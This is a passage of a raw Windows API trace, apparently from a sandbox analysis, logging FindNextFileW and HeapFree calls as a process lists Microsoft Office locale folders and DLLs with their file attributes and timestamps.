ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0164.327] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.328] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1 [0164.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.334] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1 [0164.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.338] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0164.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.528] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0164.530] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.530] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0164.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.531] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0164.533] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.533] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0164.534] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.534] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0164.536] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.536] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0164.537] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.538] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0164.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.539] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0164.541] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.541] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0164.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.542] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0164.545] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.545] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0164.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.547] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0164.821] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0164.821] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0166.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0166.773] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0166.777] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0166.777] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0166.781] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0166.781] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1 [0166.785] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0166.785] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1 [0166.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0166.789] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0 [0166.789] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0166.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0166.789] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0 [0166.789] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0166.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0166.789] FindNextFileW (in: hFindFile=0x4532100, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0166.795] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0166.795] FindNextFileW (in: hFindFile=0x4532100, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1 [0166.802] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0166.802] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0166.806] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0166.806] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1 [0167.040] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.040] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0167.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.043] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0167.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.045] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0167.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.047] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0167.049] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.049] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0167.051] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.052] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0167.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.054] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0167.056] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.056] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0167.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.058] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0167.074] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.075] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0167.077] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.077] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0167.079] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.079] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0167.081] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0167.081] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, 